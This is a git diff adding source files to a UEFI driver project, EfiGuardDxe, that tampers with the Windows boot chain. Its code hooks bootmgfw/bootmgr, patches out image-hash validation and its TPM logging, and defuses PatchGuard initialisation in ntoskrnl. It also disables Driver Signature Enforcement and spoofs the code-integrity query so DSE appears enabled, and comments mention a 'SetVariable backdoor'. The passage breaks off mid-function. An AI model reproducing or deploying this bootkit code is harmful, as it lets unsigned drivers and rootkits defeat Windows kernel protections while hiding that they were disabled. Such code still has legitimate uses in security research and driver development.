+ + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis\Zycore + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Protocol + + + Header Files + + + \ No newline at end of file diff --git a/EfiGuardDxe/PatchBootmgr.c b/EfiGuardDxe/PatchBootmgr.c new file mode 100644 index 0000000..aa27135 --- /dev/null +++ b/EfiGuardDxe/PatchBootmgr.c @@ -0,0 +1,372 @@ +#include "EfiGuardDxe.h" + +#include + +VOID* /*t_ImgArchStartBootApplication_XX*/ gOriginalBootmgfwImgArchStartBootApplication = NULL; +UINT8 gBootmgfwImgArchStartBootApplicationBackup[sizeof(gHookTemplate)] = { 0 }; + +VOID* /*t_ImgArchStartBootApplication_XX*/ gOriginalBootmgrImgArchStartBootApplication = NULL; +UINT8 gBootmgrImgArchStartBootApplicationBackup[sizeof(gHookTemplate)] = { 0 }; + + +// +// Universal template bytes for a "faux call" inline hook +// +CONST UINT8 gHookTemplate[] = +{ +#if defined(MDE_CPU_X64) + 0x48, 0xB8, // mov rax, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // +#elif defined(MDE_CPU_IA32) + 0xB8, // mov eax, + 0x00, 0x00, 0x00, 0x00, // +#endif + 0x50, // push [e|r]ax + 0xC3 // ret +}; + + +// Signature for [bootmgfw|bootmgr]!ImgArch[Efi]StartBootApplication +STATIC CONST UINT8 SigImgArchStartBootApplication[] = { + 0x41, 0xB8, 0x09, 0x00, 0x00, 0xD0 // mov r8d, 0D0000009h +}; + + +// +// Shared function called by [bootmgfw|bootmgr]!ImgArch[Efi]StartBootApplication hooks to patch either winload.efi or bootmgr.efi +// +STATIC +EFI_STATUS +EFIAPI +HookedBootManagerImgArchStartBootApplication( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + IN UINT32 BootOption, + OUT PBL_RETURN_ARGUMENTS ReturnArguments, + IN VOID* /*t_ImgArchStartBootApplication_XX*/ OriginalFunction, + IN CONST UINT8* OriginalFunctionBytes + ) +{ + // Restore the original function bytes that we replaced with our hook + CopyMem(OriginalFunction, OriginalFunctionBytes, sizeof(gHookTemplate)); + + // Clear the screen and paint it, paint it bl... green + CONST INT32 OriginalAttribute = SetConsoleTextColour(EFI_GREEN, TRUE); + + // Get the PE headers + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = RtlpImageNtHeaderEx(ImageBase, ImageSize); + INPUT_FILETYPE FileType = Unknown; + if (NtHeaders == NULL) + { + Print(L"\r\nHookedBootmanagerImgArchStartBootApplication: PE image at 0x%p with size 0x%lx is invalid!\r\nPress any key to continue anyway, or press ESC to reboot.\r\n", + ImageBase, ImageSize); + if (!WaitForKey()) + { + gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); + } + goto CallOriginal; + } + + // Determine if we're starting winload.efi, bootmgr.efi (when booting a WIM), or something else + FileType = GetInputFileType((UINT8*)ImageBase, (UINTN)ImageSize); + if (FileType != WinloadEfi && FileType != BootmgrEfi) + { + // Nothing for us to do + DEBUG((DEBUG_INFO, "HookedBootmanagerImgArchStartBootApplication: booting application of type %S; not winload.efi or bootmgr.efi. No further patches will be applied.\r\n", + FileTypeToString(FileType))); + goto CallOriginal; + } + + // Print info + Print(L"[ %S!ImgArchStartBootApplication ]\r\n", (OriginalFunctionBytes == gBootmgrImgArchStartBootApplicationBackup ? L"bootmgr" : L"bootmgfw")); + Print(L"ImageBase: 0x%p\r\n", ImageBase); + Print(L"ImageSize: %lx\r\n", ImageSize); + Print(L"File type: %S\r\n", FileTypeToString(FileType)); + Print(L"EntryPoint: 0x%p\r\n", ((UINT8*)ImageBase + HEADER_FIELD(NtHeaders, AddressOfEntryPoint))); + Print(L"AppEntry:\r\n"); + Print(L" Signature: %a\r\n", AppEntry->Signature); + Print(L" Flags: %lx\r\n", AppEntry->Flags); + Print(L" GUID: %08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x\r\n", + AppEntry->Guid.Data1, AppEntry->Guid.Data2, AppEntry->Guid.Data3, + AppEntry->Guid.Data4[0], AppEntry->Guid.Data4[1], AppEntry->Guid.Data4[2], AppEntry->Guid.Data4[3], + AppEntry->Guid.Data4[4], AppEntry->Guid.Data4[5], AppEntry->Guid.Data4[6], AppEntry->Guid.Data4[7]); +#ifdef EFI_DEBUG + // Stuff likely no one cares about + Print(L" Unknown: %lx %lx %lx %lx\r\n", AppEntry->Unknown[0], AppEntry->Unknown[1], AppEntry->Unknown[2], AppEntry->Unknown[3]); + Print(L" BcdData:\r\n"); + Print(L" Type: %lx\r\n", AppEntry->BcdData.Type); + Print(L" DataOffset: %lx\r\n", AppEntry->BcdData.DataOffset); + Print(L" DataSize: %lx\r\n", AppEntry->BcdData.DataSize); + Print(L" ListOffset: %lx\r\n", AppEntry->BcdData.ListOffset); + Print(L" NextEntryOffset: %lx\r\n", AppEntry->BcdData.NextEntryOffset); + Print(L" Empty: %lx\r\n", AppEntry->BcdData.Empty); +#endif + + if (FileType == WinloadEfi) + { + // Patch winload.efi + PatchWinload(ImageBase, + NtHeaders); + } + else if (FileType == BootmgrEfi) + { + // Call PatchBootManager a second time; this time to patch bootmgr.efi + PatchBootManager(FileType, + ImageBase, + ImageSize); + } + +CallOriginal: + if (FileType == WinloadEfi || FileType == BootmgrEfi) + { + // Clear screen + gST->ConOut->EnableCursor(gST->ConOut, FALSE); + SetConsoleTextColour((UINTN)((OriginalAttribute >> 4) & 0x7), TRUE); + } + + // Call the original function to transfer execution to the boot application entry point; normally winload.efi!OslMain or bootmgr.efi!BmMain. + // If FileType != WinloadEfi && FileType != BootmgrEfi, no further patches will be applied because this is some other application being started. + CONST BOOLEAN VistaOrSevenBootManager = BootOption == MAX_UINT32; + return VistaOrSevenBootManager + ? ((t_ImgArchStartBootApplication_Vista)OriginalFunction)(AppEntry, ImageBase, ImageSize, ReturnArguments) + : ((t_ImgArchStartBootApplication_Eight)OriginalFunction)(AppEntry, ImageBase, ImageSize, BootOption, ReturnArguments); +} + +// +// bootmgfw!ImgArchEfiStartBootApplication hook to patch either winload.efi or bootmgr.efi, Windows Vista/7 version. +// This has to be a separate function from the bootmgr hook because their backup and return addresses will differ +// +STATIC +EFI_STATUS +EFIAPI +HookedBootmgfwImgArchEfiStartBootApplication_Vista( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + OUT PBL_RETURN_ARGUMENTS ReturnArguments + ) +{ + return HookedBootManagerImgArchStartBootApplication(AppEntry, + ImageBase, + ImageSize, + MAX_UINT32, + ReturnArguments, + gOriginalBootmgfwImgArchStartBootApplication, + gBootmgfwImgArchStartBootApplicationBackup); +} + +// +// bootmgfw!ImgArch[Efi]StartBootApplication hook to patch either winload.efi or bootmgr.efi, Windows >= 8 version. +// This has to be a separate function from the bootmgr hook because their backup and return addresses will differ +// +STATIC +EFI_STATUS +EFIAPI +HookedBootmgfwImgArchStartBootApplication_Eight( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + IN UINT32 BootOption, + OUT PBL_RETURN_ARGUMENTS ReturnArguments + ) +{ + return HookedBootManagerImgArchStartBootApplication(AppEntry, + ImageBase, + ImageSize, + BootOption, + ReturnArguments, + gOriginalBootmgfwImgArchStartBootApplication, + gBootmgfwImgArchStartBootApplicationBackup); +} + +// +// bootmgr!ImgArchEfiStartBootApplication hook to patch winload.efi, Windows Vista/7 version. +// This has to be a separate function from the bootmgfw hook because their backup and return addresses will differ +// +STATIC +EFI_STATUS +EFIAPI +HookedBootmgrImgArchEfiStartBootApplication_Vista( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + OUT PBL_RETURN_ARGUMENTS ReturnArguments + ) +{ + return HookedBootManagerImgArchStartBootApplication(AppEntry, + ImageBase, + ImageSize, + MAX_UINT32, + ReturnArguments, + gOriginalBootmgrImgArchStartBootApplication, + gBootmgrImgArchStartBootApplicationBackup); +} + +// +// bootmgr!ImgArch[Efi]StartBootApplication hook to patch winload.efi, Windows >= 8 version. +// This has to be a separate function from the bootmgfw hook because their backup and return addresses will differ +// +STATIC +EFI_STATUS +EFIAPI +HookedBootmgrImgArchStartBootApplication_Eight( + IN PBL_APPLICATION_ENTRY AppEntry, + IN VOID* ImageBase, + IN UINT32 ImageSize, + IN UINT32 BootOption, + OUT PBL_RETURN_ARGUMENTS ReturnArguments + ) +{ + return HookedBootManagerImgArchStartBootApplication(AppEntry, + ImageBase, + ImageSize, + BootOption, + ReturnArguments, + gOriginalBootmgrImgArchStartBootApplication, + gBootmgrImgArchStartBootApplicationBackup); +} + +// +// Patches the Windows Boot Manager (either bootmgfw.efi or bootmgr.efi; normally the former unless booting a WIM file) +// +EFI_STATUS +EFIAPI +PatchBootManager( + IN INPUT_FILETYPE FileType, + IN VOID* ImageBase, + IN UINTN ImageSize + ) +{ + if (gBootmgfwHandle == NULL) + return EFI_NOT_STARTED; + + ASSERT(FileType == BootmgfwEfi || FileType == BootmgrEfi); + + // Get PE headers + CONST BOOLEAN PatchingBootmgrEfi = FileType == BootmgrEfi; + CONST CHAR16* ShortFileName = PatchingBootmgrEfi ? L"bootmgr" : L"bootmgfw"; + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = RtlpImageNtHeaderEx(ImageBase, ImageSize); + EFI_STATUS Status; + if (NtHeaders == NULL) + { + Status = EFI_LOAD_ERROR; + Print(L"\r\nPatchBootManager: %S.efi PE image at 0x%p with size 0x%llx is invalid!\r\nPress any key to continue anyway, or press ESC to reboot.\r\n", + ShortFileName, ImageBase, ImageSize); + if (!WaitForKey()) + { + gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); + } + goto Exit; + } + + // Print file and version info + UINT16 MajorVersion = 0, MinorVersion = 0, BuildNumber = 0, Revision = 0; + Status = GetPeFileVersionInfo(ImageBase, &MajorVersion, &MinorVersion, &BuildNumber, &Revision, NULL); + if (EFI_ERROR(Status)) + Print(L"\r\nPatchBootManager: WARNING: failed to obtain %S.efi version info. Status: %llx\r\n", ShortFileName, Status); + else + { + Print(L"\r\nPatching %S.efi v%u.%u.%u.%u...\r\n", ShortFileName, MajorVersion, MinorVersion, BuildNumber, Revision); + + // Check if this is a supported boot manager version. All patches should work on all versions since Vista SP1, + // except for the ImgpFilterValidationFailure patch because this function only exists on Windows 7 and higher. + if (BuildNumber < 6001) + { + Print(L"\r\nPatchBootManager: ERROR: Unsupported %S.efi image version.\r\n" + L"The minimum supported boot manager version is Windows Vista SP1.\r\n" + L"It is recommended to use the Windows 10 boot manager even when running an older OS.\r\n", ShortFileName); + Status = EFI_UNSUPPORTED; + goto Exit; + } + } + + // Find [bootmgfw|bootmgr]!ImgArch[Efi]StartBootApplication + CONST CHAR16* FunctionName = BuildNumber >= 17134 ? L"ImgArchStartBootApplication" : L"ImgArchEfiStartBootApplication"; + CONST PEFI_IMAGE_SECTION_HEADER CodeSection = IMAGE_FIRST_SECTION(NtHeaders); + UINT8* Found = NULL; + Status = FindPattern(SigImgArchStartBootApplication, + 0xCC, + sizeof(SigImgArchStartBootApplication), + (UINT8*)ImageBase + CodeSection->VirtualAddress, + CodeSection->SizeOfRawData, + (VOID**)&Found); + if (EFI_ERROR(Status)) + { + Print(L"\r\nPatchBootManager: failed to find %S!%S signature. Status: %llx\r\n", ShortFileName, FunctionName, Status); + goto Exit; + } + + // Found signature; backtrack to function start + // Note: pOriginalAddress is a pointer to a (function) pointer, because the original address depends on the type of boot manager we are patching. + VOID **pOriginalAddress = PatchingBootmgrEfi ? &gOriginalBootmgrImgArchStartBootApplication : &gOriginalBootmgfwImgArchStartBootApplication; + *pOriginalAddress = (VOID*)BacktrackToFunctionStart(Found, MAX((UINT8*)ImageBase + CodeSection->VirtualAddress, Found - 1024)); + CONST VOID* OriginalAddress = *pOriginalAddress; + if (OriginalAddress == NULL) + { + Print(L"\r\nPatchBootManager: failed to find %S!%S function start [signature at 0x%p].\r\n", ShortFileName, FunctionName, (VOID*)Found); + Status = EFI_NOT_FOUND; + goto Exit; + } + + // Found + VOID* HookAddress; + if (BuildNumber < 9200) + HookAddress = PatchingBootmgrEfi ? (VOID*)&HookedBootmgrImgArchEfiStartBootApplication_Vista : (VOID*)&HookedBootmgfwImgArchEfiStartBootApplication_Vista; + else + HookAddress = PatchingBootmgrEfi ? (VOID*)&HookedBootmgrImgArchStartBootApplication_Eight : (VOID*)&HookedBootmgfwImgArchStartBootApplication_Eight; + UINT8* BackupAddress = PatchingBootmgrEfi ? gBootmgrImgArchStartBootApplicationBackup : gBootmgfwImgArchStartBootApplicationBackup; + Print(L"\r\nFound %S!%S at 0x%p.\r\n", ShortFileName, FunctionName, (VOID*)OriginalAddress); + Print(L"Hooked%S%S at 0x%p.\r\n", (PatchingBootmgrEfi ? L"Bootmgr" : L"Bootmgfw"), FunctionName, HookAddress); + + CONST EFI_TPL Tpl = gBS->RaiseTPL(TPL_HIGH_LEVEL); // Note: implies cli + + // Backup original function prologue + CopyMem(BackupAddress, (VOID*)OriginalAddress, sizeof(gHookTemplate)); + + // Place faux call (push addr, ret) at the start of the function to transfer execution to our hook + CopyMem((VOID*)OriginalAddress, (VOID*)gHookTemplate, sizeof(gHookTemplate)); + *(UINTN*)((UINT8*)OriginalAddress + 2) = (UINTN)HookAddress; + + gBS->RestoreTPL(Tpl); + + // Patch ImgpValidateImageHash to allow custom boot loaders. This is completely + // optional (unless booting a custom winload.efi), and failures are ignored + PatchImgpValidateImageHash(FileType, + (UINT8*)ImageBase, + NtHeaders); + + if (BuildNumber >= 7600) + { + // Patch ImgpFilterValidationFailure so it doesn't silently + // rat out every violation to a TPM or SI log. Also optional + PatchImgpFilterValidationFailure(FileType, + (UINT8*)ImageBase, + NtHeaders); + } + +Exit: + if (EFI_ERROR(Status)) + { + // Patch failed. Prompt user to ask what they want to do + Print(L"\r\nPress any key to continue anyway, or press ESC to reboot.\r\n"); + if (!WaitForKey()) + { + gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); + } + } + else + { + Print(L"Successfully patched %S!%S.\r\n", ShortFileName, FunctionName); + RtlSleep(2000); + + if (gDriverConfig.WaitForKeyPress) + { + Print(L"\r\nPress any key to continue.\r\n"); + WaitForKey(); + } + } + + // Return success, because even if the patch failed, the user chose not to reboot above + return EFI_SUCCESS; +} diff --git a/EfiGuardDxe/PatchNtoskrnl.c b/EfiGuardDxe/PatchNtoskrnl.c new file mode 100644 index 0000000..b5d34f6 --- /dev/null +++ b/EfiGuardDxe/PatchNtoskrnl.c @@ -0,0 +1,661 @@ +#include "EfiGuardDxe.h" + +#include + + +// Global kernel patch status information. +// +// The justification for statically allocating these ~8KB is that this buffer will be accessible during both contexts of winload.efi. Winload has two +// runtime contexts: the real mode firmware context (= 1), in which EFI services are accessible, and the protected mode application context (= 0), +// which has its own GDT, IDT and paging levels and which is used to set up the NT environment and enable virtual addressing. Winload switches between +// the two with BlpArchSwitchContext() when needed. Because we cannot allocate memory in protected mode (e.g. in PatchNtoskrnl), and any memory +// allocated in real mode (e.g. in PatchWinload) will need address translation on later access, this is by far the simplest solution +// because it allows the buffer to be accessed from both contexts at all stages of driver execution. +KERNEL_PATCH_INFORMATION gKernelPatchInfo; + + +// Signature for ntoskrnl!KeInitAmd64SpecificState +// This function is present in all x64 kernels since Vista. It generates a #DE due to 32 bit idiv quotient overflow. +STATIC CONST UINT8 SigKeInitAmd64SpecificState[] = { + 0xF7, 0xD9, // neg ecx + 0x45, 0x1B, 0xC0, // sbb r8d, r8d + 0x41, 0x83, 0xE0, 0xEE, // and r8d, 0FFFFFFEEh + 0x41, 0x83, 0xC0, 0x11, // add r8d, 11h + 0xD1, 0xCA, // ror edx, 1 + 0x8B, 0xC2, // mov eax, edx + 0x99, // cdq + 0x41, 0xF7, 0xF8 // idiv r8d +}; + +// Signature for SeCodeIntegrityQueryInformation, called through NtQuerySystemInformation(SystemCodeIntegrityInformation). +// This function has actually existed since Vista in various forms, sometimes (8/8.1/early 10) inlined in ExpQuerySystemInformation. +// This signature is only for the Windows 10 RS3+ version. I could add more signatures but this is a pretty superficial patch anyway. +STATIC CONST UINT8 SigSeCodeIntegrityQueryInformation[] = { + 0x48, 0x83, 0xEC, // sub rsp, XX + 0xCC, 0x48, 0x83, 0x3D, 0xCC, 0xCC, 0xCC, 0xCC, 0x00, // cmp cs:qword_14035E638, 0 + 0x4D, 0x8B, 0xC8, // mov r9, r8 + 0x4C, 0x8B, 0xD1, // mov r10, rcx + 0x74, 0xCC, // jz XX + 0x8A, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // mov al, cs:SeILSigningPolicy + 0x0F, 0xB6, 0xC8, // movzx ecx, al + 0x84, 0xC0, // test al, al + 0x75, 0xCC, // jnz XX + 0x0F, 0xB6, 0x0D, 0xCC, 0xCC, 0xCC, 0xCC // movzx ecx, cs:SeILSigningPolicyRuntime +}; + +// Patched SeCodeIntegrityQueryInformation which reports that DSE is enabled +STATIC CONST UINT8 SeCodeIntegrityQueryInformationPatch[] = { + 0x41, 0xC7, 0x00, 0x08, 0x00, 0x00, 0x00, // mov dword ptr [r8], 8 + 0x33, 0xC0, // xor eax, eax + 0xC7, 0x41, 0x04, 0x01, 0x00, 0x00, 0x00, // mov dword ptr [rcx+4], 1 + 0xC3 // ret +}; + + +// +// Defuses PatchGuard initialization routines before execution is transferred to the kernel. +// All code accessed here is located in the INIT section. +// +STATIC +EFI_STATUS +EFIAPI +DisablePatchGuard( + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN PEFI_IMAGE_SECTION_HEADER InitSection, + IN UINT16 BuildNumber + ) +{ + CONST UINT32 StartRva = InitSection->VirtualAddress; + CONST UINT32 SizeOfRawData = InitSection->SizeOfRawData; + CONST UINT8* StartVa = ImageBase + StartRva; + + // Search for KeInitAmd64SpecificState + PRINT_KERNEL_PATCH_MSG(L"\r\n== Searching for nt!KeInitAmd64SpecificState pattern in INIT ==\r\n"); + UINT8* KeInitAmd64SpecificStatePatternAddress = NULL; + for (UINT8* Address = (UINT8*)StartVa; Address < StartVa + SizeOfRawData - sizeof(SigKeInitAmd64SpecificState); ++Address) + { + if (CompareMem(Address, SigKeInitAmd64SpecificState, sizeof(SigKeInitAmd64SpecificState)) == 0) + { + KeInitAmd64SpecificStatePatternAddress = Address; + PRINT_KERNEL_PATCH_MSG(L" Found KeInitAmd64SpecificState pattern at 0x%llX.\r\n", (UINTN)KeInitAmd64SpecificStatePatternAddress); + break; + } + } + + // Backtrack to function start + UINT8* KeInitAmd64SpecificState = BacktrackToFunctionStart(KeInitAmd64SpecificStatePatternAddress, + (UINT8*)(KeInitAmd64SpecificStatePatternAddress - StartVa)); + if (KeInitAmd64SpecificState == NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find KeInitAmd64SpecificState%S.\r\n", + (KeInitAmd64SpecificStatePatternAddress == NULL ? L" pattern" : L"")); + return EFI_NOT_FOUND; + } + + // Search for CcInitializeBcbProfiler (Win 8+) / (Win Vista/7) + // Most variables below use the 'CcInitializeBcbProfiler' name, which is not really accurate for Windows Vista/7 but close enough. + // For debug prints, call the function "" instead if we're on Windows Vista/7. (seriously, it's fucking huge) + CONST CHAR16* FuncName = BuildNumber >= 9200 ? L"CcInitializeBcbProfiler" : L""; + PRINT_KERNEL_PATCH_MSG(L"== Disassembling INIT to find nt!%S ==\r\n", FuncName); + UINT8* CcInitializeBcbProfilerPatternAddress = NULL; + + // On Windows Vista/7 we need to find the address of RtlPcToFileHeader, which will help identify HUGEFUNC as no other function calls this + UINTN RtlPcToFileHeader = 0; + if (BuildNumber < 9200) + { + RtlPcToFileHeader = (UINTN)GetProcedureAddress((UINTN)ImageBase, NtHeaders, "RtlPcToFileHeader"); + if (RtlPcToFileHeader == 0) + { + PRINT_KERNEL_PATCH_MSG(L"Failed to find RtlPcToFileHeader export.\r\n"); + return EFI_NOT_FOUND; + } + } + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + PRINT_KERNEL_PATCH_MSG(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = SizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(StartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + if (BuildNumber < 9200) + { + // Windows Vista/7: check if this is 'call IMM' + if (Instruction.operand_count == 4 && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && Instruction.operands[0].imm.is_relative == ZYAN_TRUE && + Instruction.mnemonic == ZYDIS_MNEMONIC_CALL) + { + // Check if this is 'call RtlPcToFileHeader' + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, &OperandAddress)) && + OperandAddress == RtlPcToFileHeader) + { + CcInitializeBcbProfilerPatternAddress = (UINT8*)InstructionAddress; + PRINT_KERNEL_PATCH_MSG(L" Found 'call RtlPcToFileHeader' at 0x%llX.\r\n", (UINTN)CcInitializeBcbProfilerPatternAddress); + break; + } + } + } + else + { + // Windows 8+: check if this is 'mov [al|rax], 0x0FFFFF780000002D4' ; SharedUserData->KdDebuggerEnabled + if ((Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_MOV && Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER) && + ((Instruction.operands[0].reg.value == ZYDIS_REGISTER_AL && Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_MEMORY && + (UINT64)(Instruction.operands[1].mem.disp.value) == 0x0FFFFF780000002D4ULL) || + (Instruction.operands[0].reg.value == ZYDIS_REGISTER_RAX && Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && + Instruction.operands[1].imm.value.u == 0x0FFFFF780000002D4ULL))) + { + CcInitializeBcbProfilerPatternAddress = (UINT8*)InstructionAddress; + PRINT_KERNEL_PATCH_MSG(L" Found CcInitializeBcbProfiler pattern at 0x%llX.\r\n", (UINTN)CcInitializeBcbProfilerPatternAddress); + break; + } + } + + Offset += Instruction.length; + } + + // Backtrack to function start + UINT8* CcInitializeBcbProfiler = BacktrackToFunctionStart(CcInitializeBcbProfilerPatternAddress, + (UINT8*)(CcInitializeBcbProfilerPatternAddress - StartVa)); + if (CcInitializeBcbProfiler == NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find %S%S.\r\n", + FuncName, (CcInitializeBcbProfilerPatternAddress == NULL ? L" pattern" : L"")); + return EFI_NOT_FOUND; + } + + // Search for ExpLicenseWatchInitWorker (only exists on Windows >= 8) + UINT8* ExpLicenseWatchInitWorker = NULL; + if (BuildNumber >= 9200) + { + PRINT_KERNEL_PATCH_MSG(L"== Disassembling INIT to find nt!ExpLicenseWatchInitWorker ==\r\n"); + UINT8* ExpLicenseWatchInitWorkerPatternAddress = NULL; + + // Start decode loop + Offset = 0; + while ((InstructionAddress = (ZyanU64)(StartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is 'mov al, ds:[0x0FFFFF780000002D4]' ; SharedUserData->KdDebuggerEnabled + // The address must also obviously not be the CcInitializeBcbProfiler one we just found + if ((UINT8*)InstructionAddress != CcInitializeBcbProfilerPatternAddress && + Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_MOV && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && Instruction.operands[0].reg.value == ZYDIS_REGISTER_AL && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_MEMORY && Instruction.operands[1].mem.segment == ZYDIS_REGISTER_DS && + Instruction.operands[1].mem.disp.value == 0x0FFFFF780000002D4LL) + { + ExpLicenseWatchInitWorkerPatternAddress = (UINT8*)InstructionAddress; + PRINT_KERNEL_PATCH_MSG(L" Found ExpLicenseWatchInitWorker pattern at 0x%llX.\r\n", (UINTN)ExpLicenseWatchInitWorkerPatternAddress); + break; + } + + Offset += Instruction.length; + } + + // Backtrack to function start + ExpLicenseWatchInitWorker = BacktrackToFunctionStart(ExpLicenseWatchInitWorkerPatternAddress, + (UINT8*)(ExpLicenseWatchInitWorkerPatternAddress - StartVa)); + if (ExpLicenseWatchInitWorker == NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Failed to find ExpLicenseWatchInitWorker%S.\r\n", + (ExpLicenseWatchInitWorkerPatternAddress == NULL ? L" pattern" : L"")); + return EFI_NOT_FOUND; + } + } + + // We have all the addresses we need; now do the actual patching. + CONST UINT32 Yes = 0xC301B0; // mov al, 1, ret + CONST UINT32 No = 0xC3C033; // xor eax, eax, ret + *((UINT32*)KeInitAmd64SpecificState) = No; + *((UINT32*)CcInitializeBcbProfiler) = Yes; + if (ExpLicenseWatchInitWorker != NULL) + *((UINT32*)ExpLicenseWatchInitWorker) = No; + + // Print info + PRINT_KERNEL_PATCH_MSG(L"\r\n Patched KeInitAmd64SpecificState [RVA: 0x%X].\r\n", + (UINT32)(KeInitAmd64SpecificState - ImageBase)); + PRINT_KERNEL_PATCH_MSG(L" Patched %S [RVA: 0x%X].\r\n", + FuncName, (UINT32)(CcInitializeBcbProfiler - ImageBase)); + if (ExpLicenseWatchInitWorker != NULL) + { + PRINT_KERNEL_PATCH_MSG(L" Patched ExpLicenseWatchInitWorker [RVA: 0x%X].\r\n", + (UINT32)(ExpLicenseWatchInitWorker - ImageBase)); + } + + return EFI_SUCCESS; +} + +// +// Disables DSE for the duration of the boot by preventing it from initializing. +// This function is only called if DseBypassMethod is DSE_DISABLE_AT_BOOT, or if the Windows version is Vista or 7 +// and DseBypassMethod is DSE_DISABLE_SETVARIABLE_HOOK. In the latter case, only one byte is patched to make +// the SetVariable backdoor safe to use more than once. DSE will still be fully initialized in this case. +// All code accessed here is located in the PAGE section. +// +STATIC +EFI_STATUS +DisableDSE( + IN UINT8* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN PEFI_IMAGE_SECTION_HEADER PageSection, + IN EFIGUARD_DSE_BYPASS_TYPE BypassType, + IN UINT16 BuildNumber + ) +{ + if (BypassType == DSE_DISABLE_NONE) + return EFI_INVALID_PARAMETER; + + CONST UINT32 PageSizeOfRawData = PageSection->SizeOfRawData; + CONST UINT8* PageStartVa = ImageBase + PageSection->VirtualAddress; + + // Find the ntoskrnl.exe IAT address for CI.dll!CiInitialize + VOID* CiInitialize; + CONST EFI_STATUS IatStatus = FindIATAddressForImport(ImageBase, + NtHeaders, + "CI.dll", + "CiInitialize", + &CiInitialize); + if (EFI_ERROR(IatStatus)) + { + PRINT_KERNEL_PATCH_MSG(L"Failed to find IAT address of CI.dll!CiInitialize.\r\n"); + return IatStatus; + } + + PRINT_KERNEL_PATCH_MSG(L"\r\n== Disassembling PAGE to find nt!SepInitializeCodeIntegrity 'mov ecx, xxx' ==\r\n"); + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + PRINT_KERNEL_PATCH_MSG(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + UINT8* SepInitializeCodeIntegrityMovEcxAddress = NULL; + UINTN Length, Offset; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + if (BuildNumber < 9200) + { + // On Windows Vista/7 we have an enormously annoying import thunk in .text to find. All it does is 'jmp __imp_CiInitialize'. + // SepInitializeCodeIntegrity will then call this thunk. What a waste + CONST PEFI_IMAGE_SECTION_HEADER TextSection = IMAGE_FIRST_SECTION(NtHeaders); + VOID* JmpCiInitializeAddress = NULL; + Length = TextSection->SizeOfRawData; + Offset = 0; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(ImageBase + TextSection->VirtualAddress + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + if ((Instruction.operand_count == 2 && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_MEMORY && Instruction.operands[0].mem.base == ZYDIS_REGISTER_RIP) && + Instruction.mnemonic == ZYDIS_MNEMONIC_JMP) + { + // Check if this is 'jmp qword ptr ds:[CiInitialize IAT RVA]' + ZyanU64 